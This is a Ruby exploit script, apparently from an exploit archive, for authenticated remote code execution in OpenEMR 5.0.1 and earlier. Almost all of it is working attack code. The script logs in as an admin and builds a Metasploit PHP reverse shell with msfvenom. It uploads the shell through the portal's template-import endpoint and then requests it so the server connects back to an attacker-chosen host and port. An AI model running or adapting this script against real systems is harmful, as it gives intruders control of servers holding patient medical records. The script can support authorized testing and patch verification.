OpenEMR 5.0.1 Remote Code Execution

`#!/usr/bin/env ruby  
  
# Title: OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution  
# Exploit Author: Alexandre ZANNI  
# Date: 2020-07-16  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz  
# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile   
# Version: < 5.0.1 (Patch 4)  
# Tested on: Ubuntu 18.04, OpenEMR Version 5.0.1.3  
# References: https://www.exploit-db.com/exploits/48515  
  
require 'httpclient'  
require 'docopt'  
  
shell_name = 'shell4.php'  
user = 'openemr_admin'  
password = 'xxxxxx'  
payload = 'php/reverse_php'  
lhost = '10.10.15.201'  
lport = 8888  
  
doc = <<~DOCOPT  
OpenEMR <= 5.0.1 - (Authenticated) Remote Code Execution  
  
Usage:  
#{__FILE__} manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]  
#{__FILE__} semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]  
#{__FILE__} auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]  
#{__FILE__} -H | --help  
  
Options:  
-r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder  
-s <filename>, --shell <filename> Filename of the PHP reverse shell payload  
-u <username>, --user <username> Username of the admin  
-p <password>, --password <password> Password of the admin  
-m <payload>, --payload <payload> Metasploit PHP payload  
-h <host>, --lhost <host> Reverse shell local host  
-t <port>, --lport <port> Reverse shell local port  
--debug Display arguments  
-H, --help Show this screen  
  
Examples:  
#{__FILE__} manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123  
#{__FILE__} semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888  
#{__FILE__} auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999  
DOCOPT  
  
begin  
args = Docopt.docopt(doc)  
pp args if args['--debug']  
if args['manual']  
shell_name = File.basename(args['--shell'])  
shell_path = args['--shell']  
else  
shell_name = "tmp#{rand(1000)}.php"  
shell_path = shell_name  
end  
if args['semi-auto']  
payload = args['--payload']  
else  
payload = 'php/reverse_php'  
end  
# Authentication data  
uri_1 = URI("#{args['--root-url']}/interface/main/main_screen.php?auth=login&site=default")  
data_1= {  
'new_login_session_management' => '1',  
'authProvider' => 'Default',  
'authUser' => args['--user'],  
'clearPass' => args['--password'],  
'languageChoice' => '1'  
}  
# Reverse shell data  
unless args['manual']  
puts "[+] Generating the reverse shell payload: #{shell_name}"  
%x(msfvenom -p #{payload} LHOST=#{args['--lhost']} LPORT=#{args['--lport']} -f raw > #{shell_name})  
end  
data_2 = {  
'site' => 'default',  
'mode' => 'save',  
'docid' => shell_name,  
'content' => File.read(shell_path)}  
uri_2 = URI("#{args['--root-url']}/portal/import_template.php?site=default")  
uri_3 = URI("#{args['--root-url']}/portal/#{shell_name}")  
  
clnt = HTTPClient.new  
  
puts '[+] Authenticating'  
clnt.post(uri_1, data_1)  
  
puts '[+] Uploading the reverse shell'  
clnt.post(uri_2, data_2)  
  
puts "[+] Executing the reverse shell: #{args['--root-url']}/portal/#{shell_name}"  
clnt.get(uri_3)  
rescue Docopt::Exit => e  
puts e.message  
end  
`